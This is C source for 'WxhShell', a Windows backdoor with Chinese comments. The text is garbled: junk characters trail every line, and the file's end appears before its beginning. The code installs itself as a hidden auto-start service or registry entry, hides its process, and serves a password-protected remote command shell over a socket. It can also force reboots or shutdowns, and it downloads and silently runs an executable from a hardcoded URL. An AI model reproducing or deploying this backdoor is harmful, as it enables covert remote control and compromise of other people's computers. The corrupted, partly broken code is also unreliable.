    if(Boot(SHUTDOWN)) mZz="ZLa:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4(Iplo*Ys@  
    else { G  uQ=gN  
    closesocket(wsh); UFAL1c<V  
    ExitThread(0); Xce0~\_ A  
    } >K9#3 4hP  
    break; 4;`oUt'.  
    } V'*~L\;pU  
  // 获取shell Z[__"^}  
  case 's': { 91>fqe  
    CmdShell(wsh); U-/{0zB  
    closesocket(wsh); K"j_>63)  
    ExitThread(0); VA *y|Q6  
    break; D^%^xq )E  
  } 'R`tLN  
  // 退出 ~vlype3/EF  
  case 'x': { |waIpB(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K*UgX(xu4P  
    CloseIt(wsh); #jA[9gWI  
    break; . 8N.l^0,  
    } FIxFnh3~  
  // 离开 ]I3!fEAWR  
  case 'q': { ,C%eBna4Iq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EI!6MC)  
    closesocket(wsh); Um#Wu]i  
    WSACleanup(); PxH72hBS  
    exit(1); D?XM,l+  
    break; J Ro?s~Ih  
        } B#/Q'V  
  } ;4N;D  
  } >h0-;  
M9zfT !-  
  // 提示信息 J+d1&Tw&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ok|qyN+  
} V,rq0xW  
  } 3gd&i  
oy<WsbnS  
  return; 8JmFi  
} rV08ad  
M%jPH  
// shell模块句柄 Y"A/^]  
int CmdShell(SOCKET sock) P(F+f `T  
{ |$5[(6T|  
STARTUPINFO si; #9K-7je;j  
ZeroMemory(&si,sizeof(si)); ME'|saP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _6 ay-u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RV@*c4KvO+  
PROCESS_INFORMATION ProcessInfo; lz1 wO5%h  
char cmdline[]="cmd"; "*G.EiLq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mZd , 9  
  return 0; Kq i4hK  
} AU2i%Q!  
kbM3  
// 自身启动模式 5mb]Q)f9-  
int StartFromService(void) EkziAON  
{ jH_JmYd  
typedef struct BcI |:qv|  
{ zOQ>d|p?X  
  DWORD ExitStatus; B^g ?=|{  
  DWORD PebBaseAddress; h@a+NE8  
  DWORD AffinityMask; w^t/9Nasi  
  DWORD BasePriority; :9k Ty:  
  ULONG UniqueProcessId; fW?o@vlO  
  ULONG InheritedFromUniqueProcessId; N<~ku<nAU  
}   PROCESS_BASIC_INFORMATION; O{ #=d  
F_CYYGZ  
PROCNTQSIP NtQueryInformationProcess; @')[FEdW  
9-MUX^?u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7hsGua  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jy'13G/b\  
z[Xd%mhjO  
  HANDLE             hProcess; P#AW\d^"B  
  PROCESS_BASIC_INFORMATION pbi; TqnT S0fx  
>y,-v:Vy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %n*-VAfE\  
  if(NULL == hInst ) return 0; D-c`FG'  
'q`^3&E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cFJY^A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E~6c-Lw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z*-2.}&U<  
A{A\RSZ0  
  if (!NtQueryInformationProcess) return 0; ?!+MM&c-n  
[UH||qW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NX}<*b/  
  if(!hProcess) return 0; <~WsD)=$  
j:VbrR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b9l;a+]d  
OLE[UXD-E  
  CloseHandle(hProcess); k?,1x~  
^0 -:G6H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :5{wf Am  
if(hProcess==NULL) return 0; _fKou2$yz  
MjU6/pO}L  
HMODULE hMod; _ jsK}- \  
char procName[255]; .hifsB~  
unsigned long cbNeeded; Om5Y|v"*  
s=;uc] 9g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u?}(P_9  
b}"N`,0dO  
  CloseHandle(hProcess); }|pwz   
R#I0|;q4|p  
if(strstr(procName,"services")) return 1; // 以服务启动 1]p ZrBh"E  
:>C2gS@  
  return 0; // 注册表启动 0.@&_XTPl  
} "/wyZ  
Y/*mUS[oa  
// 主模块 $ 69oV:  
int StartWxhshell(LPSTR lpCmdLine) =o$sxb E(  
{ WHj'dodS  
  SOCKET wsl; tIuCct-  
BOOL val=TRUE; .?loO3 m  
  int port=0; :s7m4!EF  
  struct sockaddr_in door; \hx1o\  
&__es{;P  
  if(wscfg.ws_autoins) Install(); r/u A.Aou^  
y#3j`. $3p  
port=atoi(lpCmdLine); ?k(7 LX0j  
QD0"rxZJ  
if(port<=0) port=wscfg.ws_port; ?M\{&mlF  
*=V~YF:Qb  
  WSADATA data; # mV{#B=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9[.8cg*  
,)vDeU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _I:/ZF5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x$6^R q>2  
  door.sin_family = AF_INET; vzim<;i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E2Q[ZoVS  
  door.sin_port = htons(port); !1$])VQWI  
4b98Ks Yg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $\X[@E S0  
closesocket(wsl); s T}. v*  
return 1; )-a'{W/t  
} &E.^jR~*  
ewctkI$,5  
  if(listen(wsl,2) == INVALID_SOCKET) { tFp Ygff<  
closesocket(wsl); s~5[![1 K  
return 1; x-^`~ p  
} XovRg,  
  Wxhshell(wsl); YS/Yd[ e  
  WSACleanup(); hoK>~:;  
.y!<t}  
return 0; 9_Be0xgJ3^  
RO 4Z?tz  
} e4? >-  
RBs-_o+%  
// 以NT服务方式启动 Vf] "L .G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A#EDk U,  
{ t/VD31  
DWORD   status = 0; "@iK' c^  
  DWORD   specificError = 0xfffffff; :bwjJ}F  
y1dDO2mA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n*[XR`r}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;:\<gVi:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <G|(|E1  
  serviceStatus.dwWin32ExitCode     = 0; >\KNM@'KI  
  serviceStatus.dwServiceSpecificExitCode = 0; u{['<r;I  
  serviceStatus.dwCheckPoint       = 0; RI(DXWM|h  
  serviceStatus.dwWaitHint       = 0; 9]f!'d!5  
(k5We!4[1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0i!uUF  
  if (hServiceStatusHandle==0) return; D1zBsi94D  
|}BL F  
status = GetLastError(); \Q0[?k  
  if (status!=NO_ERROR) 2mVD_ s[`  
{ |H;F7Y_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Qz5sxi  
    serviceStatus.dwCheckPoint       = 0; ZX9TYN  
    serviceStatus.dwWaitHint       = 0; J;.wXS_U8  
    serviceStatus.dwWin32ExitCode     = status; 4|riKo)  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1w@(5 ^V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J8uLJ  
    return; v+46 QK|I&  
  } [j=yMP38!:  
o<BOYrS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^o3"#r{:+  
  serviceStatus.dwCheckPoint       = 0; Ve}(s?hU5  
  serviceStatus.dwWaitHint       = 0; e7Xeo+/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3x{ t(  
} m$}R%  
KL1/^1  
// 处理NT服务事件,比如:启动、停止 \^L`7cBL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r`W)0oxD  
{ EofymAi%  
switch(fdwControl) >,gg5<F-E  
{ x@P y>f2  
case SERVICE_CONTROL_STOP: 52:HNA\E/  
  serviceStatus.dwWin32ExitCode = 0; :61Tun  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EMwS1~3dD  
  serviceStatus.dwCheckPoint   = 0; ! h"Kq>9 T  
  serviceStatus.dwWaitHint     = 0; $HHs^tW  
  { +b0eE)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~.{/0T  
  } DS+}UO  
  return; :ubV};  
case SERVICE_CONTROL_PAUSE: Q sZx) bO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dP# |$1  
  break; ub^h&= \S  
case SERVICE_CONTROL_CONTINUE: ~ $Tkn_w#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <"{qk2LS1  
  break; Uzz'.K(Mv|  
case SERVICE_CONTROL_INTERROGATE: @$S+Ne[<  
  break; S%bCyK%p  
}; & ?h#Z!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s.bc>E0  
} 27 ]':A4_  
t3*wjQ3  
// 标准应用程序主函数 =mS\i663  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nKPYOY8^  
{ s )noo  
[~-9i &Z  
// 获取操作系统版本 Y-kt.X/Z-  
OsIsNt=GetOsVer(); X 0WJBEE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |n+qMql'  
sy:[T T!w  
  // 从命令行安装 6t>.[Y"v  
  if(strpbrk(lpCmdLine,"iI")) Install(); D>/0v8  
LLk(l#K*  
  // 下载执行文件 77C'*tt1]  
if(wscfg.ws_downexe) { o3Yb7h9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e- :yb^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7S '% E  
} W5EDVP ur  
aoMqSwF=  
if(!OsIsNt) { ~zHjMo2  
// 如果时win9x,隐藏进程并且设置为注册表启动 S^-DK~Xt4  
HideProc();  aC$B2  
StartWxhshell(lpCmdLine); aZ2!i  
} ]NUl9t*N4  
else x'+T/zw  
  if(StartFromService()) |jI#"LbF  
  // 以服务方式启动 3LAIl913  
  StartServiceCtrlDispatcher(DispatchTable); o< |cA5f\  
else I8wXuIN_  
  // 普通方式启动 {@eJtF+2  
  StartWxhshell(lpCmdLine); l)G^cSHF.3  
>p)MawT]  
return 0; l1T m`7}  
} g[1gF&  
>6NRi/[  
$G8E 3|k  
S{]x  
=========================================== $;1#To  
 3,p]/Z_  
+MR.>"  
gp5_Z-me  
*,e:]!*  
]JCvyz H  
" -=%@L&y1  
QqFR\6  
#include <stdio.h> 0"kbrv2y  
#include <string.h> XRcqhv  
#include <windows.h> {_7 i8c<s=  
#include <winsock2.h> ?3nR  
#include <winsvc.h> CnpV:>V=  
#include <urlmon.h> -8; 7Sp1  
bSiYHRH.e  
#pragma comment (lib, "Ws2_32.lib") K~c=M",mW  
#pragma comment (lib, "urlmon.lib")  O{QA  
d;zai]]  
#define MAX_USER   100 // 最大客户端连接数 Wr<j!>J6Ki  
#define BUF_SOCK   200 // sock buffer G/b^|;41  
#define KEY_BUFF   255 // 输入 buffer wG~`[>y (  
.n#@$ nGZ  
#define REBOOT     0   // 重启 P^ A!.}d  
#define SHUTDOWN   1   // 关机 Kf>A\l^X7  
C>-aIz!y  
#define DEF_PORT   5000 // 监听端口 fmQ_P.c  
BcL{se9<  
#define REG_LEN     16   // 注册表键长度 ~<O7$~  
#define SVC_LEN     80   // NT服务名长度 Jy)KqdkX+  
D ~stM  
// 从dll定义API `7[EKOJ3g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V}J)\VZ2#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w1hPc!I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kw#;w=\>R{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U}6B*Xx'  
6ys &zy  
// wxhshell配置信息 iI\oz&!vH  
struct WSCFG { G'oG< /A  
  int ws_port;         // 监听端口 S0B|#O%Z  
  char ws_passstr[REG_LEN]; // 口令 % W=b? :  
  int ws_autoins;       // 安装标记, 1=yes 0=no `);AW(Q  
  char ws_regname[REG_LEN]; // 注册表键名 Xnz3p"  
  char ws_svcname[REG_LEN]; // 服务名 6hlc1?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oI=fx Sjd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "Om=N@?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q@Zn|NR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9f2UgNqe9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G~Hzec{#tg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eFaO7mz5V%  
"]"|"0#i  
}; 1M}5>V{  
/.3}aj;6  
// default Wxhshell configuration RZHd9v$  
struct WSCFG wscfg={DEF_PORT, IEXt:  
    "xuhuanlingzhe", '9S8}q  
    1, ! ='rc-E  
    "Wxhshell", x,rlrxI  
    "Wxhshell", >64P6P;S  
            "WxhShell Service", uEktQ_u[  
    "Wrsky Windows CmdShell Service", qCljo5Tq'  
    "Please Input Your Password: ", U@HK+C"M|  
  1, G`n_YH084  
  "http://www.wrsky.com/wxhshell.exe", <L"GqNuRQ  
  "Wxhshell.exe" <QA6/Ef7  
    }; Jl5c [F  
2^y ^q2(r  
// 消息定义模块 <}E!w_yi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pnjXf.g"O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C1 jHz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /DK"QV!]s  
char *msg_ws_ext="\n\rExit."; mzeY%A<0^  
char *msg_ws_end="\n\rQuit."; bL'aB{s  
char *msg_ws_boot="\n\rReboot..."; Jll-`b 1  
char *msg_ws_poff="\n\rShutdown..."; P* w9 ,  
char *msg_ws_down="\n\rSave to "; X'd9[).  
$ {O#  
char *msg_ws_err="\n\rErr!"; Km(n7Ah"  
char *msg_ws_ok="\n\rOK!"; LW[9  
m;'6MHx;  
char ExeFile[MAX_PATH]; PK{acen  
int nUser = 0; jF0jkj1&/[  
HANDLE handles[MAX_USER]; EH256f(&  
int OsIsNt; gu0j.XS^  
\9cG36  
SERVICE_STATUS       serviceStatus; eM$sv9?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [Jogt#Fj ]  
0 vtt"f)Y[  
// 函数声明 %/|9@er  
int Install(void); W+PJZn  
int Uninstall(void); HkO7R `  
int DownloadFile(char *sURL, SOCKET wsh); *VFf.aPwYi  
int Boot(int flag); h-G)o[MA  
void HideProc(void); YE|SKx@  
int GetOsVer(void); Tw""}|] g  
int Wxhshell(SOCKET wsl); G&i!Hs  
void TalkWithClient(void *cs); (#Wu# F1;  
int CmdShell(SOCKET sock); 1DE1.1  
int StartFromService(void); ;A]@4*q  
int StartWxhshell(LPSTR lpCmdLine); {@+Ty]e  
Yzh"1|O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hkwl>R$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y0x%sz 5  
5Ow[~p"l<  
// 数据结构和表定义 vRs,zL$W  
SERVICE_TABLE_ENTRY DispatchTable[] = TygW0b 1  
{ K('hC)1  
{wscfg.ws_svcname, NTServiceMain}, 7J EbH?lEN  
{NULL, NULL} wgamshm"d  
}; ;$smH=I  
3QG7C{  
// 自我安装 %kS(LlL+6  
int Install(void) 1guJG_;z  
{ `%+Wz0(K  
  char svExeFile[MAX_PATH]; g/P+ZXJ  
  HKEY key; -(  
  strcpy(svExeFile,ExeFile); bYEy<7)x  
iV&6nh(  
// 如果是win9x系统,修改注册表设为自启动 '}fzX2Q#  
if(!OsIsNt) { )n2 re?S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Z):>'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *=(lyx_O  
  RegCloseKey(key); gDQ1?N'8{t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9y<*8bI   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d@5[B0eH  
  RegCloseKey(key); L<ue$'  
  return 0; 1][4.}?F[  
    } !HnXXVW  
  } Tk5W'p|6f  
} _F$aUtb%O  
else { Dpl A?  
.P[ _<8  
// 如果是NT以上系统,安装为系统服务 thifRd$4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :_g$.h%%  
if (schSCManager!=0) 4lKq{X5<  
{ KY51rw.  
  SC_HANDLE schService = CreateService [n \2  
  ( IOqwCD[  
  schSCManager, uI1 q>[  
  wscfg.ws_svcname, "|qqUKJZ  
  wscfg.ws_svcdisp, orWbU UC  
  SERVICE_ALL_ACCESS, 7ccO93Mz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7Rd'm'l)  
  SERVICE_AUTO_START, 1Cv-  
  SERVICE_ERROR_NORMAL, >`A9[`$n  
  svExeFile, K`u(/kz/<  
  NULL, `HZ;NRr  
  NULL, %M7` Hwu  
  NULL, k'Sp.  
  NULL, |wH5sjT  
  NULL ,*7 (%k^`  
  ); de p=&  
  if (schService!=0) (Iaf?J5{  
  { `$W_R[  
  CloseServiceHandle(schService); @d mV  
  CloseServiceHandle(schSCManager); Exc9` 7%.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); va}Pj#=  
  strcat(svExeFile,wscfg.ws_svcname); G 8g<>d{j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l'/R&`-n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;/r1}tl+3>  
  RegCloseKey(key); xKuRh}^K  
  return 0; 8~J(](QA  
    } @zU6t|mhz  
  } .J)I | '  
  CloseServiceHandle(schSCManager); A8uVK5  
} M%2+y5  
} ?0v-qj+  
NbgK@eV}+{  
return 1; =a@j=  
} x{n`^;Y1  
l5Gq|!2yxD  
// 自我卸载 4 QvsBpz@  
int Uninstall(void) eU".3`CtY  
{ 4KIRHnaj  
  HKEY key; gW)3e1a  
a@@)6FM  
if(!OsIsNt) { * +"9%&?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2jR r,Nl  
  RegDeleteValue(key,wscfg.ws_regname); <}<zgOT[1!  
  RegCloseKey(key); =cm~vDl[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lku[dQdk  
  RegDeleteValue(key,wscfg.ws_regname); Ye2 {f"F  
  RegCloseKey(key); _AAaC_q  
  return 0; /aZ+T5O  
  } VUPXO  
} zO).T M_  
} p i %< Sy  
else { {^CY..3 A  
G6/p1xy>o:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |iE50,  
if (schSCManager!=0) dQV;3^iUY  
{ DW5Y@;[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [|(N_[E|6  
  if (schService!=0) YKH\rN6X  
  { QdL`|  
  if(DeleteService(schService)!=0) { /& Jan:  
  CloseServiceHandle(schService); HCyv]LR  
  CloseServiceHandle(schSCManager); S?{#r  
  return 0; E"qRw_ ~t  
  } jQ2Ot<  
  CloseServiceHandle(schService); gtk7)Uh  
  } x=b7':nQ  
  CloseServiceHandle(schSCManager); 5*lT.  
} [N7{WSZ&  
} )Im#dVQs=  
F`gi_; c  
return 1; *=]&&<  
} ^(vs.U^U<  
Gft%Mq v  
// 从指定url下载文件 "D63I|O)  
int DownloadFile(char *sURL, SOCKET wsh) +jS|2d  
{ Sdt`i  
  HRESULT hr; 6$kqaS##  
char seps[]= "/"; q U%/W|LY  
char *token; r^FhTzA=1  
char *file; [fAV5U  
char myURL[MAX_PATH]; 3Dng 1}  
char myFILE[MAX_PATH]; :~2vJzp@?  
2%LL Sa  
strcpy(myURL,sURL); "P 7nNa  
  token=strtok(myURL,seps); ; <&*rnH  
  while(token!=NULL) ar__ Pf6r  
  { JmxH"7hTE  
    file=token; j(m.$:  
  token=strtok(NULL,seps); 9^oKtkoDZ  
  } yXSFjcoB  
=/s>Q l  
GetCurrentDirectory(MAX_PATH,myFILE); l`oZ) ?ur  
strcat(myFILE, "\\"); )bS yB29S  
strcat(myFILE, file); ~Sj9GxTe  
  send(wsh,myFILE,strlen(myFILE),0); ?[@J8  
send(wsh,"...",3,0); f .Q\Z'S^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j[`j9mM8  
  if(hr==S_OK) n^Hm;BiE#  
return 0; NQBpX  
else s}w{:Hk,x8  
return 1; hs^zTZ_  
tSr8 zAV  
} oI }VV6vO  
;Lc Z`1  
// 系统电源模块 3EJj9}#x"'  
int Boot(int flag) G<}()+L  
{ ?zh9d%R  
  HANDLE hToken; J!c)s!`w  
  TOKEN_PRIVILEGES tkp; $xzAv{  
#.rdQ,)<  
  if(OsIsNt) { ojaws+(& y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >_[ 9t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t^+ik1.  
    tkp.PrivilegeCount = 1; cpL7!>^=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q!.byrod  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ) i;1*jK  
if(flag==REBOOT) { ~IYUuWF(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \UPjf]&  
  return 0; _Gn2o2T  
} Y~c|hfL  
else { J\+0[~~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B^4&-z2|  
  return 0; [w0QZyUn  
} |XQIfW]A  
  } 'GNK"XA^  
  else { Bmr>n6|  
if(flag==REBOOT) { uGwm r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6a[}'/  
  return 0; \H1( PA  
} u_@f$  
else { !hJ+Lp_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s^Y"'`+  
  return 0; $Q&lSVQ  
} K'L^;z6  
} T1ut"Zu  
KI)M JG:t  
return 1; ;O,+2VzP%^  
} Fq0i`~L~  
dMh:ulIY>  
// win9x进程隐藏模块 3eb%OEMYk  
void HideProc(void) Si_ _8D  
{ /5S30 |K  
sd*p/Q|4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h k] N6+@  
  if ( hKernel != NULL ) 6.sx?YYM  
  { i+A3~w5c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~-ia+A6GIV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]^yFaTfS  
    FreeLibrary(hKernel); V LOO8N[o  
  } zwhe  
I3a NFa}  
return; 6/5YjO|a  
} ,c;Kzp>e  
H3z: ZTI  
// 获取操作系统版本 aRj9E}  
int GetOsVer(void) $Ipg&`S"  
{ Njxv4cc  
  OSVERSIONINFO winfo; Z_$%.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C^O VB-  
  GetVersionEx(&winfo); =O&%c%~q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $mu^G t  
  return 1; HHA<IZ#;,  
  else 52%2R]G!  
  return 0; vmU@^2JSJ  
} vx1c,8  
'.on)Zd.  
// 客户端句柄模块 dzARI`  
int Wxhshell(SOCKET wsl) J1,9kCO  
{ p, h9D_  
  SOCKET wsh; E%yNa]\P  
  struct sockaddr_in client; o*b] p-  
  DWORD myID; *QpMF/<?  
xe]y]  
  while(nUser<MAX_USER) +NeOSQSj  
{ (uXL^oja  
  int nSize=sizeof(client); vq0Vq(V=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5y d MMb  
  if(wsh==INVALID_SOCKET) return 1; 7r7YNn/?  
'H3^e}   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @ju@WY45$^  
if(handles[nUser]==0) ;ic3).H  
  closesocket(wsh); |LRedD7n  
else { d=^}-^   
  nUser++; pM+ AjPr  
  } 2a-w% (K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )Lk639r  
%>yG+Od5Z  
  return 0;  w^?>e;/\  
} /$ w%Q-p  
n&L+wqJ  
// 关闭 socket 4;w;'3zq  
void CloseIt(SOCKET wsh) sQ=]NF)\  
{ dz:E?  
closesocket(wsh); {Bk[rCl  
nUser--; xR-%L  
ExitThread(0); A}BVep@D  
} 9%k2'iV7  
zpzK>DH(  
// 客户端请求句柄 zkt+7,vI  
void TalkWithClient(void *cs) <->{  
{ o15-ZzE-  
"~#3&3HVS  
  SOCKET wsh=(SOCKET)cs; N,`$M.|?  
  char pwd[SVC_LEN]; mi=Q{>rb  
  char cmd[KEY_BUFF]; iNWw;_|1  
char chr[1]; :WjpzgPuN  
int i,j; -c_74c50  
viW!,QQ(S  
  while (nUser < MAX_USER) { ]}Mj)J"m  
US+Q~GTA  
if(wscfg.ws_passstr) { .?D7dyU l1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `n.5f[wC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %oF}HF.  
  //ZeroMemory(pwd,KEY_BUFF); $I!XSz"/e  
      i=0; S{Kiy#ltWc  
  while(i<SVC_LEN) { 61Bwb]\f/|  
}d[ kxo  
  // 设置超时 bbtGXfI+SB  
  fd_set FdRead; dV*]f$wQ  
  struct timeval TimeOut; +dWDxguE{w  
  FD_ZERO(&FdRead); Y4OPEo5o  
  FD_SET(wsh,&FdRead); (jnzT=y  
  TimeOut.tv_sec=8; [/PR\'|  
  TimeOut.tv_usec=0; ")_|69 VX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  Hu^1[#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l\E%+?K+^  
3oBtP<yG.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $'0u|Xy`  
  pwd=chr[0]; %r<rcY  
  if(chr[0]==0xd || chr[0]==0xa) { NC8t) X7  
  pwd=0; 0m7Y>0wC6T  
  break; S(o#K|)>  
  } 9?A)n4b;  
  i++; k o5@qNq  
    } #Z}Rf k(~  
) mI05  
  // 如果是非法用户,关闭 socket }Q)#[#e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~t@cO.c  
} \6S7T$$ 1m  
&X`C%h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $CxKuB(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &LmJ!^#  
$Ad{Z  
while(1) { Eav[/cU  
2`AY~i9  
  ZeroMemory(cmd,KEY_BUFF); ucuSe!IcX  
:lX!\(E2  
      // 自动支持客户端 telnet标准   aC^\(wp[  
  j=0; heltgRt  
  while(j<KEY_BUFF) { )bA;?i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bt[/0>i  
  cmd[j]=chr[0]; \@-@Y  
  if(chr[0]==0xa || chr[0]==0xd) { ?RX3MUN  
  cmd[j]=0; #c!*</  
  break; b[__1E9v'  
  } %&$Tz1"  
  j++; #&cI3i  
    } +y,T4^{  
eiuSvyY  
  // 下载文件 E0BMv/r8b  
  if(strstr(cmd,"http://")) { jAGTD I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )r';lGh2#  
  if(DownloadFile(cmd,wsh)) "C?#SO B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BmBj7  
  else g-qP;vy@"q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &d9{k5/+\  
  } ".f ;+wH  
  else { xpNH?#&  
u=Fv 2  
    switch(cmd[0]) { :fKl]XO  
